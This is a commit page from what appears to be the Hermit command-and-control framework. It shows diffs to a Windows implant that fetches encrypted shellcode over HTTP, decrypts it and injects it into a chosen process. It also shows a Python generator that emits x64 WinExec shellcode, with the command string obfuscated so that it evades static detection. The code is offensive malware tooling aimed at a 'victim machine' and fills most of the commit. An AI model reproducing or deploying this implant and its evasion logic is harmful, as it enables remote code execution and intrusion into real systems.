Skip to content

Commit

Permalink
Fix shellcode/exec
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed Apr 9, 2024
1 parent 80c8742 commit a425839
Show file tree
Hide file tree
Showing 20 changed files with 407 additions and 288 deletions.
2 changes: 1 addition & 1 deletion docs/guides/task.md
Original file line number Diff line number Diff line change
Expand Up @@ -90,7 +90,7 @@ Hermit [agent-abcd] > connect https://172.12.34.56:12345

## `cp`

Copies a file from our machine to victim machine.
Copies a file to destination path on a victim machine.
We can specify an absolute path or a relative path.

```sh
Expand Down
5 changes: 0 additions & 5 deletions payload/win/implant/include/core/system.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -91,11 +91,6 @@ namespace System::Http
Procs::PPROCS pProcs,
HINTERNET hRequest
);
BOOL WriteResponseData(
Procs::PPROCS pProcs,
HINTERNET hRequest,
const std::wstring& outFile
);
BOOL DownloadFile(
Procs::PPROCS pProcs,
HINTERNET hConnect,
Expand Down
1 change: 0 additions & 1 deletion payload/win/implant/include/core/utils.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,6 @@ namespace Utils::Convert

// vector<BYTE> -> string
std::string VecByteToString(std::vector<BYTE> bytes);

// vector<char> -> string
std::string VecCharToString(std::vector<char> chars);

Expand Down
84 changes: 27 additions & 57 deletions payload/win/implant/src/core/system/http.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -121,50 +121,38 @@ namespace System::Http

// Read response as bytes.
std::vector<BYTE> ReadResponseBytes(Procs::PPROCS pProcs, HINTERNET hRequest) {
std::vector<BYTE> respBytes;
std::vector<BYTE> bytes;

DWORD dwSize = 0;
DWORD dwDownloaded = 0;
BYTE* pBuffer = NULL;

do
{
dwSize = 0;

if (!pProcs->lpWinHttpQueryDataAvailable(hRequest, &dwSize))
{
return respBytes;
}

// No more available data.
if (!dwSize)
{
return respBytes;
}

pBuffer = new BYTE[dwSize];
if (!pBuffer)
if (pProcs->lpWinHttpQueryDataAvailable(hRequest, &dwSize))
{
return respBytes;
}

ZeroMemory(pBuffer, dwSize);
if (!pProcs->lpWinHttpReadData(
hRequest,
pBuffer,
dwSize,
&dwDownloaded
)) {
delete[] pBuffer;
return respBytes;
BYTE* tempBuffer = new BYTE[dwSize+1];
if (!tempBuffer)
{
dwSize = 0;
}
else
{
ZeroMemory(tempBuffer, dwSize+1);
if (pProcs->lpWinHttpReadData(hRequest, (LPVOID)tempBuffer, dwSize, &dwDownloaded))
{
// Add to buffer;
for (size_t i = 0; i < dwDownloaded; ++i)
{
bytes.push_back(tempBuffer[i]);
}
}

delete [] tempBuffer;
}
}

respBytes.insert(respBytes.end(), pBuffer, pBuffer + dwDownloaded);

delete[] pBuffer;
} while (dwSize > 0);

return respBytes;
return bytes;
}

// Read response as text.
Expand Down Expand Up @@ -258,42 +246,24 @@ namespace System::Http
return FALSE;
}

// Get file size
DWORD dwSize = 0;
if (!pProcs->lpWinHttpQueryDataAvailable(resp.hRequest, &dwSize))
{
CloseHandle(hFile);
return FALSE;
}
if (!dwSize || dwSize == 0)
{
CloseHandle(hFile);
return FALSE;
}

// Read data
DWORD dwDownloaded = 0;
std::vector<BYTE> tempBuffer(dwSize);
if (!pProcs->lpWinHttpReadData(resp.hRequest, tempBuffer.data(), dwSize, &dwDownloaded))
// Read file
std::vector<BYTE> bytes = ReadResponseBytes(pProcs, resp.hRequest);
if (bytes.size() == 0)
{
CloseHandle(hFile);
return FALSE;
}

std::vector<BYTE> buffer;
buffer.insert(buffer.end(), tempBuffer.begin(), tempBuffer.begin() + dwDownloaded);
// Decrypt data
std::vector<BYTE> decBuffer = Crypt::DecryptData(Utils::Convert::VecByteToString(buffer));
std::vector<BYTE> decBytes = Crypt::DecryptData(Utils::Convert::VecByteToString(bytes));

// Write data to file
DWORD dwWritten;
if (!WriteFile(hFile, decBuffer.data(), decBuffer.size()/*dwDownloaded*/, &dwWritten, NULL))
if (!WriteFile(hFile, decBytes.data(), decBytes.size(), &dwWritten, NULL))
{
CloseHandle(hFile);
return FALSE;
}

// outFile.close();
CloseHandle(hFile);

return TRUE;
Expand Down
6 changes: 3 additions & 3 deletions payload/win/implant/src/core/task/shellcode.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -27,13 +27,13 @@ namespace Task
}

// Read enc data
std::vector<BYTE> respBytes = System::Http::ReadResponseBytes(pState->pProcs, resp.hRequest);
if (respBytes.size() == 0)
std::vector<BYTE> encBytes = System::Http::ReadResponseBytes(pState->pProcs, resp.hRequest);
if (encBytes.size() == 0)
{
return L"Error: Failed to read response data.";
}
// Decrypt the data
std::vector<BYTE> bytes = Crypt::DecryptData(Utils::Convert::VecByteToString(respBytes));
std::vector<BYTE> bytes = Crypt::DecryptData(Utils::Convert::VecByteToString(encBytes));

// Inject shellcode
if (!Technique::Injection::ShellcodeInjection(dwPid, bytes))
Expand Down
2 changes: 1 addition & 1 deletion payload/win/shellcode/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -4,5 +4,5 @@ SCRIPT = script/shellcode_generator.py
OUTFILE = ${OUTPUT}

x64:
@ python3 ${SCRIPT} -t ${SHELLCODE_TYPE} -c "${SHELLCODE_TYPE_ARGS}" -o ${OUTFILE}
@ python3 ${SCRIPT} -t ${SHELLCODE_TYPE} -c ${SHELLCODE_TYPE_ARGS} -o ${OUTFILE}

60 changes: 35 additions & 25 deletions payload/win/shellcode/script/asm/exec.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
# Reference: https://github.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode
from typing import List
from utils import convert

def start() -> str:
def get_kernel32_addr() -> str:
return """
; Get kernel32.dll Address
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX = 0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
Expand Down Expand Up @@ -95,25 +97,11 @@ def def_resolveaddr() -> str:
ret ; return to API caller
"""

def push_str_arg(hexarr) -> str:
asm = "push rax ; Null terminate string on stack"

for h in hexarr:
asm += f"""
mov rax, {h} ; not (reverse the bits) to avoid detection when static analysis
not rax
push rax ; RSP = "calc.exe",0x0
"""

asm += "mov rcx, rsp"
return asm

def def_api() -> str:
return """
apis: ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7 ; String length for compare string
add cl, 0x7 ; String length (len("WinExec") => 7) for comparing string
mov rax, 0x9C9A87BA9196A80F ; not (reverse the bits) 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
Expand All @@ -123,34 +111,56 @@ def def_api() -> str:
mov r14, rax ; R14 = Kernel32.WinExec Address
"""

def call_api(hexarr) -> str:
def call_api(cmd_hexarr: List[str], shr_hex: str) -> str:
asm = f"""
; UINT WinExec(
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; LPCSTR lpCmdLine, => RCX = "example.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX = 0x0
push rax ; Null terminate string on stack
"""

if shr_hex == '0':
for cmd_hex in cmd_hexarr:
asm += f"""
mov rax, 0x{cmd_hex}
push rax
"""

else:
for i in range(0, len(cmd_hexarr)):
if i == 0:
asm += f"""
mov rax, 0x{cmd_hexarr[i]}
shr rax, 0x{shr_hex}
push rax
"""
else:
asm += f"""
mov rax, 0x{cmd_hexarr[i]}
push rax
"""

asm += push_str_arg(hexarr)

# Push remaining argument
asm += """
mov rcx, rsp
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec("calc.exe", SW_HIDE)
call r14 ; Call WinExec("example.exe", SW_SHOWNORMAL)
"""

return asm

def generate(cmd: str) -> str:
# cmd_hexarr = ["0x9A879AD19C939E9C"] # calc.exe
cmd_hexarr = convert.str2hex(cmd, True)
print(cmd_hexarr)
cmd_hexarr, shr_hex = convert.str2hex(cmd, True)
print("cmd_hexarr", cmd_hexarr)
print("shr_hex: ", shr_hex)

asm = ""
asm += start()
asm += get_kernel32_addr()
asm += get_exporttable_addr()
asm += get_address_table()
asm += get_namepointer_table()
Expand All @@ -161,5 +171,5 @@ def generate(cmd: str) -> str:
asm += def_incloop()
asm += def_resolveaddr()
asm += def_api()
asm += call_api(cmd_hexarr)
asm += call_api(cmd_hexarr, shr_hex)
return asm
70 changes: 44 additions & 26 deletions payload/win/shellcode/script/utils/convert.py
Original file line number Diff line number Diff line change
@@ -1,30 +1,48 @@
# Convert string to HEX array
# e.g. calc.exe -(HEX)-> 63616c632e657865 -(LITTLE-ENDIAN)-> 6578652e636c6163 -(NOT)-> 9A879AD19C939E9C
# If set 'is_not' to True, avoid to detect it in static analysis.
def str2hex(text: str, not_op: bool):
hexarr = []
from typing import List, Tuple

# Convert string to ASCII code for assembly.
# e.g. calc.exe -(HEX)-> 63616c632e657865 -(LITTLE-ENDIAN)-> 6578652e636c6163 -(NOT)-> 9A879AD19C939E9C
# If set 'not_op' to True, avoid to detect it in static analysis.
def str2hex(text: str, not_op: bool) -> Tuple[List[str], str]:
# str -> hex
cmd_hex = text.encode('utf-8').hex()

# hex -> hex(little-endian)
cmd_hex_little = bytes.fromhex(cmd_hex)[::-1].hex()

if not_op is False:
hexarr.append('0x' + cmd_hex_little)
else:
# NOT operations
not_result = ""
max_len = 16
for i in range(0, max_len, 2):
try:
hex_chars = cmd_hex_little[i:i+2]
hex_chars_not_int = ~int(hex_chars, 16)
hex_chars_not = format(hex_chars_not_int & 0xFF, '02x')
not_result += hex_chars_not
except:
not_result += '0f'

hexarr.append('0x' + not_result)

return hexarr
# Split into 16-digit
chunks = [cmd_hex[i:i+16] for i in range(0, len(cmd_hex), 16)]

for i in range(0, len(chunks)):
# hex -> hex(little-endian)
chunks[i] = bytes.fromhex(chunks[i])[::-1].hex()

# Get the shift right number for the last element (it's used for `shr rax, 0x[hex_num]` in assembly)
shr_hex = hex((16 - len(chunks[-1])) * 4)[2:]

# Fill with 'f' for the last element
if len(chunks[-1]) < 16:
chunks[-1] = chunks[-1].ljust(16, "f")

# Lastly, reverse the chunks
chunks.reverse()

return chunks, shr_hex


# if not_op is False:
# hexarr.append('0x' + cmd_hex_little)
# else:
# # NOT operations
# not_result = ""
# max_len = 16
# # for i in range(0, max_len, 2):
# for i in range(0, len(cmd_hex_little), 2):
# try:
# hex_chars = cmd_hex_little[i:i+2]
# hex_chars_not_int = ~int(hex_chars, 16)
# hex_chars_not = format(hex_chars_not_int & 0xFF, '02x')
# not_result += hex_chars_not
# except:
# not_result += ''


# hexarr.append('0x' + not_result)

1 change: 1 addition & 0 deletions payload/win/stager/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@ add_compile_definitions(REQUEST_PATH_DOWNLOAD=${REQUEST_PATH_DOWNLOAD})
# SOURCE
set(COMMON_SOURCES
src/hermit.cpp
src/core/crypt.cpp
src/core/procs.cpp
src/core/technique/injection/dll_injection.cpp
src/core/technique/injection/shellcode_injection.cpp
Expand Down
Loading

0 comments on commit a425839

Please sign in to comment.